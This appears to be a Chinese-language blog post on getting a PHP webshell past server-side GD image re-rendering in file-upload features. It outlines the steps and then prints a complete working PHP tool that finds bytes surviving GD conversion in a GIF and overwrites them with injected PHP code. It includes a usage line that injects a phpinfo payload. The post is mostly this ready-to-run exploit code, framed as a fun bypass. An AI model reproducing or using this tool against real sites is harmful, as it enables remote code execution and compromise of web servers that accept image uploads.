• 图片重绘


    应用调用图片库对上传的文件进行了图片转换,所以即使将图片与文件合并,也会将尾部转换掉,无法使用上传合成图片马等方式上传webshell。

    1、将正常图片用目标的图形库进行转换

    2、寻找转换前后两次未变的部分

    3、将未变的部分替换为欲上传的webshell

    4、将替换后的文件进行图像转换,看是否存在我们替换的内容

     

    转换前:123abc[112233]abc

    转换后:xxxsdd[112233]2du

     

    一个小的测试项目:

    https://github.com/RickGray/Bypass-PHP-GD-Process-To-RCE

     

    1、先生成普通合成图片尝试上传

     发现上传成功后,php脚本内容被清除

     然后对图片进行处理:

    用法:codeinj.php demo.gif "<?php phpinfo();?>"

    上传后可以成功解析

     上传后的图片中php脚本内容仍然被保留。

     

     图片重绘代码如下:

    <?php
       
    function gd_process($src_img, $dst_img) {
       try {
           # you can redefine the GD process
           $im = imagecreatefromgif($src_img);
           imagegif($im, $dst_img);
      } catch (Exception $e) {
           printf("%s ", $e->getMessage());
           return false;
      }

       return true;
    }


    function find_similar_block($src_img, $dst_img, $block_len, $slow=false) {
       $src_data = fread(fopen($src_img, "rb"), filesize($src_img));
       $dst_data = fread(fopen($dst_img, "rb"), filesize($dst_img));
       $src_index = 0;
       $pre_match_array = array();

       while ($src_index < (strlen($src_data) - $block_len)) {
           $find_data = substr($src_data, $src_index, $block_len);

           $dst_index = 0;
           $found = false;
           while ($dst_index < (strlen($dst_data) - $block_len)) {
               $temp_data = substr($dst_data, $dst_index, $block_len);
               if (0 === strcmp($find_data, $temp_data)) {
                   $match = array(
                       "src_offset" => $src_index,
                       "dst_offset" => $dst_index
                  );
                   $pre_match_array[] = $match;
                   $found = true;

                   /*
                   printf("Similar block found> src_offset: %d ", $src_index);
                   printf("                     dst_offset: %d ", $dst_index);
                   printf("                   similar_data: %s ", str2hex($temp_data));
                   printf("                 similar_length: %s ", strlen($temp_data));
                   */
              }
               if ($found && $slow == false)
                   $dst_index += $block_len;
               else
                   $dst_index++;
          }

           if ($found && $slow == false)
               $src_index += $block_len;
           else
               $src_index++;
      }

       return $pre_match_array;
    }


    function inject_code_to_src_img($src_img, $pre_match_array, $injection_code) {
       $src_data = fread(fopen($src_img, "rb"), filesize($src_img));
       $inj_len = strlen($injection_code);

       $find_n = 0;
       foreach ($pre_match_array as $similar_block) {
           #printf("Trying inject code to source image with offset: %d, length: %d ", $similar_block["src_offset"], $inj_len);
           $mod_src_data = substr($src_data, 0, $similar_block["src_offset"]).$injection_code.substr($src_data, $similar_block["src_offset"] + $inj_len);
           $temp_img = sys_get_temp_dir()."/".$src_img.".mod";
           $temp_cvt_img = $temp_img.".gd";
           fwrite(fopen($temp_img, "wb"), $mod_src_data);

           if (!gd_process($temp_img, $temp_cvt_img)) {
               #printf("PHP-GD process() the image modified error, offset: %d ", $similar_block["src_offset"]);
               #printf("                                           length: %d ", $inj_len);
               continue;
          } else {
               if (check_code($temp_cvt_img, $injection_code)) {
                   $fuck_img = "gd_".$src_img;
                   fwrite(fopen($fuck_img, "wb"), $mod_src_data);
                   printf("Inject code to source image successful with offset: %d ", $similar_block["src_offset"]);
                   printf("Saving result "%s", have fun! :) ", $fuck_img);
                   exit;
              } else {
                   continue;
                   #printf("Modified image doesn't work well, offset: %d, retry... ", $similar_block["src_offset"]);
              }
          }
      }
    }


    function check_code($src_img, $injection_code) {
       $data = fread(fopen($src_img, "rb"), filesize($src_img));

       return strpos($data, $injection_code);
    }


    function str2hex($str){
       $hex = "";
       for ($i = 0; $i < strlen($str); $i++){
           $hex .= sprintf("%02x", (ord($str[$i])));;
      }

       return $hex;
    }


    function hex2str($hex){
       $str = "";
       for ($i = 0; $i < strlen($hex)-1; $i+=2){
           $str .= chr(hexdec($hex[$i].$hex[$i+1]));
      }

       return $str;
    }


    /* main */
    if ($argc < 3) {
       printf("Usage: php %s <src_img> <inj_code> ", $argv[0]);
       exit;
    }

    $slow = false;
    $src_img = $argv[1];
    $injection_code = $argv[2];

    $img_info = getimagesize($src_img);

    /* GIF image type value "1" */
    if ($img_info[2] == '1') {
       $cvt_img = sys_get_temp_dir()."/".basename($src_img);
       if (!gd_process($src_img, $cvt_img)) {
           printf("PHP-GD process() function error, please check out. ");
           exit;
      }
    } else {
       printf("This script only support GIF image. ");
       exit;
    }

    $block_len = strlen($injection_code);
    $pre_match_array = find_similar_block($src_img, $cvt_img, $block_len, $slow);

    if (sizeof($pre_match_array)) {
       inject_code_to_src_img($src_img, $pre_match_array, $injection_code);
    } else {
       printf("Not found any similar %d bytes block. ", strlen($injection_code));
    }

    printf("Cant find any useful similar block to inject code, but take it easy. :( ");

     

    参考链接:https://secgeek.net/bookfresh-vulnerability/

  • 相关阅读:
    mybatis学习坑路
    一文理解class.getClassLoader().getResourceAsStream(file)和class.getResourceAsStream(file)区别
    servlet的坑
    class.getResource()方法的更新 坑
    utf8和字节数组的转换
    finally模块的各种情况
    C++ 动态对象数组的知识总结
    Notepad++正则表达式语法
    诸子百家55句
    给初始化为NULL的结构体指针赋值报错问题
  • 原文地址:https://www.cnblogs.com/micr067/p/12813231.html
Copyright © 2020-2023  润新知